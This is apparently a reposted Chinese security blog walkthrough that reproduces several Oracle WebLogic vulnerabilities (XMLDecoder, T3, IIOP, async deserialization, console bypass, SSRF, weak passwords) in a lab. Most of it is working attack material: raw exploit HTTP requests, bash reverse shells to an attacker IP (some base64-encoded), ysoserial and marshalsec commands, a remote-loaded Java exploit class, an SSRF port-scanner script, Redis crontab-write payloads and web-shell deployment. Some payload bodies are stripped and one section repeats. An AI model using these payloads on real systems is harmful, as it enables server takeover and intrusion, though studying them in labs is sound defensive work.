栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Weblogic 常见漏洞汇总

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Weblogic 常见漏洞汇总

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-3506) 0x00 漏洞描述

网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce。

0x01 受影响WebLogic版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

0x02 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1

可能存在漏洞路径
/wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC,
/wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType,
/wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11,
/wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11

1、使用vulhub搭建环境,并启动
切换到 /opt/vulhub/weblogic/CVE-2017-10271/ 目录下
执行 docker-compose up -d
2、访问 http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType ,响应出现 Web Services证明存在该漏洞。

执行反弹shell命令

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 705


        
            
                
                    
                        servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt
                        xmldecoder_vul_test11
                    
                
            
        
        
    

注意这里的类型不能丢,返回500状态码,即执行成功。

写shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641

 





/bin/bash


-c


bash -i ">>& /dev/tcp/192.168.190.1/4444 0">>&1 








nc -lvp 4444 监听

参考连接:https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html

Weblogic T3协议反序列化(CVE-2018-2628)漏洞 0x00 漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

0x01 受影响WebLogic版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

0x02 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1 192.168.190.131

1、漏洞检测

检测weblogic版本信息和t3协议是否开启
nmap -n -v -p 7001 ip --script=weblogic-t3-info -Pn ip

T3协议已开启,版本为 10.3.6.0

python2 CVE-2018-2628-MultiThreading.py
Checking start.
Checking...    192.168.190.136:7001
send request payload successful,recv length:1690
192.168.190.136:7001 is vul CVE-2018-2628
Checking completed, please see the above result.

开始复现
工具包 https://github.com/Lighird/CVE-2018-2628
在线工具 http://www.jackson-t.ca/runtime-exec-payloads.html
在192.168.190.1上运行 ysoserial-0.1-cve-2018-2628-all.jar 侦听 22801端口 并要求执行 反弹shell命令
命令:bash -i >& /dev/tcp/192.168.190.1/4444 0>&1
base64变形后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"


在192.168.190.1上运行 ysoserial-0.1-cve-2018-2628-all.jar 生成 payload

将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。
执行 python2 weblogic_poc.py
nc 侦听 4444端口接收反弹shell

Weblogic(CVE-2019-2725)漏洞 0x00 漏洞描述

该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

0x01 受影响WebLogic版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

0x02 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1

漏洞路径
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

1、访问漏洞地址 _async/AsyncResponseService 出现 Test page字眼,证明存在漏洞

访问 http://192.168.190.136:7001/_async/AsyncResponseService?info 获取路径

2、开始复现
访问 http://192.168.190.136:7001/_async/AsyncResponseService 使用POST方法发送特定的xml数据,可以实现各种命令执行。

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=6GvQhQCSj7brk6LwTpPnt22gTpb3JxynjPGk6FW3xVwMzznJhM2W!1628766885
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 794




xx
xx




/bin/bash


-c


bash -i ">>& /dev/tcp/192.168.190.1/4444 0">>&1








相应包返回202 Accepted,命令执行成功

nc 监听 4444端口接收 bash shell

Weblogic未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883 0x00 漏洞描述

远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

0x01 受影响WebLogic版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。

0x02 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1

1、 漏洞检测 POC
直接访问 http://192.168.190.1:7001/console/images/%252E%252E%252Fconsole.portal
未授权访问后台通过问未授权访问到管理后台页面,利用第二个命令执行漏洞(cve-2020-14883)
这个漏洞的利用方式有两种
一是通过 com.tangosol.coherence.mvel2.sh.ShellSession()
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext()
—windows环境—
弹计算器
[http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)](http://192.168.142.132:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22))
2、通过FileSystemXmlApplicationContext()加载并执行远端xml文件:
windows-nc-shell-xml


  
    
      
        cmd
        /c
        whoami
      
    
  

linux-shell.xml


  
    
      
        /bin/bash
        -c
        & /dev/tcp/192.168.190.1/4444 0>&1]]>
      
    
  

3、在攻击机上搭建一个 http.server ,让docker远程访问 xml文件,实现反弹shell
python3 -m http.server 8000
nc监听4444端口
nc -lvvp 4444

访问 http://192.168.190.1:8000/linux.xml

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")](http://192.168.190.1:8000/linux.xml"))

反弹shell成功

Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞 0x00 漏洞描述

2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.

0x01 影响范围

weblogic 版本 10.3.6.0
weblogic 版本 12.1.3.0
weblogic 版本 12.2.1.3
weblogic 版本 12.2.1.4

0x02 漏洞复现

靶机IP:192.168.190.128
攻击机:192.168.190.1

1、工具列表

exploit.java 源码

import java.io.IOException;
public class exploit {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
  
 }
}

2、编译生成exploit.class文件 ,启动一个简易的python http服务
javac exploit.java -source 1.6 -target 1.6
python3 -m http.server 80

3、使用marshalsec起一个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "[http://192.168.190.1/#exploit"](http://192.168.190.1/#exploit") 1099

4、远程加载恶意类 exploit.class
java -jar weblogic_CVE_2020_2551.jar 192.168.190.128 7001 rmi://192.168.190.1:1099/exploit

参考文章:https://xz.aliyun.com/t/7374

Weblogic-SSRF 漏洞

https://www.freebuf.com/vuls/257820.html

0x00 漏洞描述

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

0x01 影响范围

weblogic 版本10.0.2
weblogic 版本10.3.6

0x02 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1

直接访问漏洞url
http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp


填写表单,点击search,使用burp抓包,发送到重放模块
更改 operator 可以探测内网主机信息,测试172.22.0.11主机 返回 No route to host 表示主机不存在

尝试 http://172.22.0.2:7001 返回 ‘1’ addresses, but could not connect over HTTP to server: ‘172.22.0.2’, port: ‘7001’ 表示172.22.0.2主机存在,但是7001端口不存在。


返回404表示7001端口开放,

返回 Received a response from url 表示端口开发

weblogic ssrf 内网信息探测脚本

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.18.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"


通过以上的SSRF漏洞,探测探测出存在 redis
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。

发送三条redis命令,将弹shell脚本写入/etc/crontab:
crontab语法:https://www.jianshu.com/p/ecd6a1cfb73e

test

set 1 "nnnn* * * * * root bash -i >& /dev/tcp/192.168.190.1/4444 0>&1nnnn"
config set dir /etc/
config set dbfilename crontab
save

aaa

将以上payload进行为uel编码

operator=http://172.22.0.2:6379/test%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.190.1%2f4444%200%3e%261%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaa&rdoSearch=name&txtSearchname=1&txtSearchkey=2&txtSearchfor=3&selfor=Business+location&btnSubmit=Search

发送payload触发反弹shell连接 192.168.190.1:4444

反弹shell成功

补充一下,可进行利用的cron有以下几个地方:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也和/etc/crontab相同。 。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

Weblogic 弱密码 漏洞复现

靶机IP:192.168.190.136
攻击机:192.168.190.1

访问weblogic控制台登录页面
http://192.168.190.136:7001/console/login/LoginForm.jsp

输入 weblogic/Oracle@123 登录控制台
一次选择部署-》安装-》上载文件


上传 qwerty.war包

一次点击下一步至完成部署安装

冰鞋连接

机IP:192.168.190.136

攻击机:192.168.190.1

访问weblogic控制台登录页面
http://192.168.190.136:7001/console/login/LoginForm.jsp

输入 weblogic/Oracle@123 登录控制台
一次选择部署-》安装-》上载文件


上传 qwerty.war包

一次点击下一步至完成部署安装

冰鞋连接


仅用于学习交流,不得用于非法用途
如侵权请私聊博主删文

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/821276.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号